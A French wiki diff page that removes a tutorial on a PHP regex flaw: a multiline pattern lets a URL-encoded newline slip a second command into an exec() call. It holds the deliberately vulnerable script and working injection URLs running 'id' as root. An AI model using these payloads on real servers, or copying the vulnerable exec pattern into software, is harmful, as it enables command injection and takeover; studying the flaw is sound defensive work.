Outils pour utilisateurs

Outils du site


web:faille_regex_expression_reguliere

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

web:faille_regex_expression_reguliere [2016/03/15 11:10]
arkinar créée
web:faille_regex_expression_reguliere [2016/07/04 08:38]
Ligne 1: Ligne 1:
-**Faille Regex : Expression régulière** 
  
-**1.Présentation** 
- 
-Les expressions régulières constituent un système très puissant et très rapide pour faire des recherches dans des chaînes de caractères (des phrases, par exemple). ​ 
- 
-Leur mauvaise implémentation peu créer des failles de sécurité. 
- 
-Voici un exemple de regex vulnérable : 
- 
-<​code>​ 
-/​^[\/​a-zA-Z0-9\-\s_]+\.rpt$/​m 
-</​code>​ 
- 
-Elle tente d'​associer n'​importe quel combinaison de lettres , nombres , points , underscores ,slashes et d'​espace se terminant par l'​extension "​.rpt"​ 
-Cependant il y'a un défaut que nous exploiterons. 
- 
-Exemple de regex vulnérable implémenter dans une code php : 
-<​code>​ 
- 
-<?php 
-  $file_name = $_GET["​path"​];​ 
-  if(!preg_match("/​^[\/​a-zA-Z0-9\-\s_]+\.rpt$/​m",​ $file_name)) { 
-    echo "regex failed";​ 
-  } else { 
-    echo exec("/​usr/​bin/​file -i -b " . $file_name);​ 
-  } 
-?> 
- 
-</​code>​ 
- 
-Le script en question va vérifier que la regex soit valide avant de faire un file sur le fichier en question. ​ 
- 
-**2.Exploitation** 
- 
-Le but de l'​exploitation va être d'​injecter un retour à la ligne. ​ 
-Celui-ci nous permettra d'​interagir directement avec le shell. 
- 
-__2.1 Méthode 1 : Retour à la ligne__ 
- 
-[[http://​localhost/​index.php?​path=/​path/​to/​file%0Aid%0A.rpt]] 
- 
-%0A est un retour à la ligne encodé en URL. 
- 
-{{ :​web:​regex_wl_1.png?​nolink |}} 
- 
-Pour la regex le payload est sûr. 
-Pour autant , que se passe-t-il dans le shell ? 
- 
-<​code>​ 
- 
-# /​usr/​bin/​file -i -b /​path/​to/​file 
-ERROR: cannot open `/​path/​to/​file'​ (No such file or directory) 
-# id 
-uid=0(root) gid=0(root) groups=0(root) 
-# .rpt 
-bash: .rpt: command not found 
-# 
- 
-</​code>​ 
- 
-Chaque retour à la ligne démarre une nouvelle commande. Le shell exécute arbitrairement notre commande id. 
- 
-__2.2 Méthode 2 : Bypass \s__ 
- 
-\s étant responsable de la faille, certains développeur auront la malheureuse idée de le remplacer par un espace. 
- 
-Ce qui nous donne la nouvelle regex : 
-<​code>​ 
-/​^[\/​a-zA-Z0-9\- _]+\.rpt$/m 
-</​code>​ 
- 
-Il faut mettre le retour à la ligne après l'​extension comme ce-ci : 
- 
-[[http://​localhost/​index.php?​path=/​path/​to/​file.rpt%0aid]] 
- 
-{{ :​web:​regex_wl_3.png?​nolink |}} 
- 
-**3.Comment se protéger** 
- 
-Faite très attention à vos regex. N'​hésitez pas à demander conseil lorsque vous n'​êtes pas sur. Les conséquences peuvent être importantes. 
- 
-Source :​[[https://​nvisium.com/​blog/​2015/​06/​11/​regex-regularly-exploitable/​]] 
web/faille_regex_expression_reguliere.txt · Dernière modification: 2016/07/04 08:38 (modification externe)